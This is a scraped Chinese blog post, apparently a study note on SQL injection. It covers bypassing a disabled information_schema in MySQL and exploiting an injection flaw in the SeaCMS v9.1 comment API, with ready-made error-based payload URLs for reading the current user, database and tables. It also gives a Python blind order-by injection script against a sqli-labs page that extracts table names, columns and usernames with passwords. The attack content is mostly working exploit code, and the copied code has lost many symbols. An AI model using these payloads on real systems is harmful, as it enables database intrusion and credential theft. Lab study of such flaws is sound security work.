当前位置: 首页 > news >正文

手机微信网站设计个人如何做免费网站

手机微信网站设计,个人如何做免费网站,孝感网站建设专家,做聚会的网站目录 一、当注入时#xff0c;information_schema被禁用的解决方法 1.通过sys库可以获取到表名和库名 2.通过无列名注入join获取列名 二、seasms v9 注入漏洞 三、order by注入 一、当注入时#xff0c;information_schema被禁用的解决方法 information_schema数据库是My…目录 一、当注入时information_schema被禁用的解决方法 1.通过sys库可以获取到表名和库名 2.通过无列名注入join获取列名 二、seasms v9 注入漏洞 三、order by注入 一、当注入时information_schema被禁用的解决方法 information_schema数据库是MySQL和其他一些数据库系统中存储元数据的标准视图包含表、列、权限等信息。攻击时可以直接查询这些信息来获取数据库结构比如表名和列名。当information_schema被禁用时需要寻找其他途径来获取必要的信息。 1.通过sys库可以获取到表名和库名 在 Mysql 5.7 版本中新增了 sys.schema 基础数据来自于 performance_schema和information_sche两个库中其本身并不存储数据。 可以代替information_schema的表 sys.schema_table_statistics 该表提供了关于表的统计信息包括表所在的数据库table_schema和表名table_name。sys.schema_table_statistics_with_buffer 除了提供基本的表统计信息外还包含了InnoDB缓冲池的统计信息同样有table_schema和table_name字段。sys.schema_auto_increment_columns 如果表中有自增ID列这个视图会包含相关信息可以用来间接推断出表的存在但只限于有自增列的表。 2.通过无列名注入join获取列名 由于join是将两张表的列名给加起来所以有可能会产生相同的列名而在使用别名时是不允出现相同的列名的因此当它们两个一起使用时由于会出现多个相同的列名那么他就会报错。就可以利用此特性进行sql注入查询列名。 select * from (select * from users as a join users b)c; 当查询完第一个列名时使用using排除继续查询下一个列名。 select * from (select * from users as a join users as b using(id)) as c;以此类推可以获取到想要的列名。 二、seasms v9 注入漏洞 漏洞文件 seacmsV9.1/upload/comment/api/index.php 漏洞代码 ?php session_start(); require_once(../../include/common.php); $id (isset($gid) is_numeric($gid)) ? $gid : 0; $page (isset($page) is_numeric($page)) ? $page : 1; $type (isset($type) is_numeric($type)) ? $type : 1; $pCount 0; $jsoncachefile sea_DATA./cache/review/$type/$id.js;if($page2) {if(file_exists($jsoncachefile)){$jsonLoadFile($jsoncachefile);die($json);} } $h ReadData($id,$page); $rlist array(); if($page2) {createTextFile($h,$jsoncachefile); } die($h); function ReadData($id,$page) {global $type,$pCount,$rlist;$ret array(,,$page,0,10,$type,$id);if($id0){$ret[0] Readmlist($id,$page,$ret[4]);$ret[3] $pCount;$x implode(,,$rlist);if(!empty($x)){$ret[1] Readrlist($x,1,10000);}} $readData FormatJson($ret);return $readData; }function Readmlist($id,$page,$size) {global $dsql,$type,$pCount,$rlist;$mlarray();if($id0){$sqlCount SELECT count(*) as dd FROM sea_comment WHERE m_type$type AND v_id$id ORDER BY id DESC;$rs $dsql -GetOne($sqlCount);$pCount ceil($rs[dd]/$size);$sql SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type$type AND v_id$id ORDER BY id DESC limit .($page-1)*$size.,$size ;$dsql-setQuery($sql);$dsql-Execute(commentmlist);while($row$dsql-GetArray(commentmlist)){$row[reply].ReadReplyID($id,$row[reply],$rlist);$ml[]{\cmid\:.$row[id].,\uid\:.$row[uid].,\tmp\:\\,\nick\:\.$row[username].\,\face\:\\,\star\:\\,\anony\:.(empty($row[username])?1:0).,\from\:\.$row[username].\,\time\:\.date(Y/n/j H:i:s,$row[dtime]).\,\reply\:\.$row[reply].\,\content\:\.$row[msg].\,\agree\:.$row[agree].,\aginst\:.$row[anti].,\pic\:\.$row[pic].\,\vote\:\.$row[vote].\,\allow\:\.(empty($row[anti])?0:1).\,\check\:\.$row[ischeck].\};}}$readmlistjoin($ml,,);return $readmlist; }function Readrlist($ids,$page,$size) {global $dsql,$type;$rlarray();$sql SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type$type AND id in ($ids) ORDER BY id DESC;$dsql-setQuery($sql);$dsql-Execute(commentrlist);while($row$dsql-GetArray(commentrlist)){$rl[]\.$row[id].\:{\uid\:.$row[uid].,\tmp\:\\,\nick\:\.$row[username].\,\face\:\\,\star\:\\,\anony\:.(empty($row[username])?1:0).,\from\:\.$row[username].\,\time\:\.$row[dtime].\,\reply\:\.$row[reply].\,\content\:\.$row[msg].\,\agree\:.$row[agree].,\aginst\:.$row[anti].,\pic\:\.$row[pic].\,\vote\:\.$row[vote].\,\allow\:\.(empty($row[anti])?0:1).\,\check\:\.$row[ischeck].\};}$readrlistjoin($rl,,);return $readrlist; }function ReadReplyID($gid,$cmid,$rlist) {global $dsql;if($cmid0){if(!in_array($cmid,$rlist))$rlist[]$cmid;$row $dsql-GetOne(SELECT reply FROM sea_comment WHERE id$cmid limit 0,1);if(is_array($row)){$ReplyID ,.$row[reply].ReadReplyID($gid,$row[reply],$rlist);}else{$ReplyID ;}}else{$ReplyID ;}return $ReplyID; }function FormatJson($json) {$x {\mlist\:[%0%],\rlist\:{%1%},\page\:{\page\:%2%,\count\:%3%,\size\:%4%,\type\:%5%,\id\:%6%}};for($i6;$i0;$i--){$xstr_replace(%.$i.%,$json[$i],$x);}$formatJson jsonescape($x);return $formatJson; }function jsonescape($txt) {$jsonescapestr_replace(chr(13),,str_replace(chr(10),,json_decode(str_replace(%u,\u,json_encode(.$txt)))));return $jsonescape; } 在代码中$ids是通过$rlist数组收集的而$rlist是在Readmlist和ReadReplyID函数中被填充的。在代码中当处理评论回复时会递归地收集相关的回复ID存入$rlist数组中然后生成$ids作为逗号分隔的字符串。在Readrlist函数中$ids被直接拼接到SQL查询的IN子句中而没有任何转义或参数化处理。因此我们可以通过报错注入和单引号绕过的方法实现注入。 通过报错注入出当前用户 http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid1page2rlist[]%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),%27 当前数据库 http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid1page2rlist[]%27,%20extractvalue(1,%20concat_ws(0x20,0x5c,(select%20database()))),%27 注入获取表 http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid1page2rlist[]%27,%20extractvalue(1,concat_ws(0x5c,0x5c,(select%20table_name%20from%23%0ainformation_schema.tables%20where%20table_schema%200x736561636d73%20limit%200,1))),%27 【这里获取表时不会报错出东西】 三、order by注入 sort前面是order by通过sort传入的字段排序可以通过用sortif(表达式,列1,列2)的方式注入 可以通过BeautifulSoup爬取表格中username下一格的值来判断表达式的真假并通过二分查找加快注入速度 import requests from lxml import htmldef get_id_one(URl, paload):res requests.get(urlURl, paramspaload)tree html.fromstring(res.content)id_one tree.xpath(//table//tr[1]/td[1]/text())[0].strip()return id_onedef get_database(URl):s for i in range(1, 10):low 32hight 128mid (low hight) // 2while (hight low):paload { sort: fif((greatest(ascii(substr(database(),{i},1)),{mid}){mid}),id,username) -- }id_one get_id_one(URl, paload)if id_one 1:hight midmid (low hight) // 2else:low mid 1mid (low hight) // 2s chr(mid)print(数据库名: s)def get_table(URl):s for i in range(1, 32):low 32hight 128mid (low hight) // 2while (hight low):paload {sort: fif((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema\security\),{i},1)){mid}),id,username) -- }id_one get_id_one(URl, paload)if id_one 1:low mid 1mid (low hight) // 2else:hight midmid (low hight) // 2s chr(mid)print(表: s)def get_column(URl):s for i in range(1, 32):low 32hight 128mid (low hight) // 2while (hight low):paload {sort: fif((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema\security\ and table_name\users\),{i},1)){mid}),id,username) -- }id_one get_id_one(URl, paload)if id_one 1:low mid 1mid (low hight) // 2else:hight midmid (low hight) // 2s chr(mid)print(列: s)def get_result(URl):s for i in range(1, 32):low 32hight 128mid (low hight) // 2while (hight low):paload {sort: fif((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1)){mid}),id,username) -- }id_one get_id_one(URl, paload)if id_one 1:low mid 1mid (low hight) // 2else:hight midmid (low hight) // 2s chr(mid)print(用户名和密码信息: s)if __name__ __main__:URl http://127.0.0.1/sqlilabs/less-46/index.phpget_database(URl)get_table(URl)get_column(URl)get_result(URl)
http://www.ho-use.cn/article/10821414.html

相关文章:

  • net网站是国际域名吗wordpress 分销插件
  • 大淘客网站建设wordpress 评论 顶踩 心 插件
  • 网页设计和网站开发哪个好怎样建立公司的网站
  • 宋祖儿在哪个网站做网红大学生个体创业的网站建设
  • 5118网站如何使用免费版可以做网络攻防的实验的网站
  • 赤峰网站策划网站快照查询
  • 广州白云网站建设网络科技公司经营范围有哪些
  • 网站开发技术问题免费推广网站都有哪些
  • 浙江金圣建设有限公司网站免费 网站源码
  • 内网网站建设汇报短视频运营培训学费多少
  • 宁波网站建设与推广方案苏州市住房和城乡建设局政务网站
  • 护卫神做的网站访问成全视频免费观看在线看第6季动漫
  • wordpress 微信登录插件下载失败廊坊关键词seo排名方案
  • phpcms v9网站地图深圳网站建设首选
  • 手表网站 二手西宁网站设计制作公司
  • 自己怎么做系统网站网店html模板
  • 如何登录网站服务器网站开发 名片
  • 桂林建设网站如何提升网站打开速度
  • 网站建设行内资讯两新支部网站建设
  • 网站开发和程序开发的却别网站域名解析ip地址
  • 去哪找做塑料的网站安卓盒子做网站
  • 湖北建设网站四库一平台什么做书籍的网站
  • 注册做网站的营业执照网页设计培训
  • 物流网站免费模板怎样做水果外卖加盟网站
  • 辽宁企业网站建设wordpress child主题怎么用
  • 国外 做励志视频的网站网站定制设计网页价格多少钱
  • 相机拍照的图片怎么做网站呀中职网页设计与制作教材
  • 深圳网站设计 工作室2017网站开发兼职
  • 手机可以做3d动漫视频网站做彩铃的网站
  • 软件开发语言深圳推广软件十年乐云seo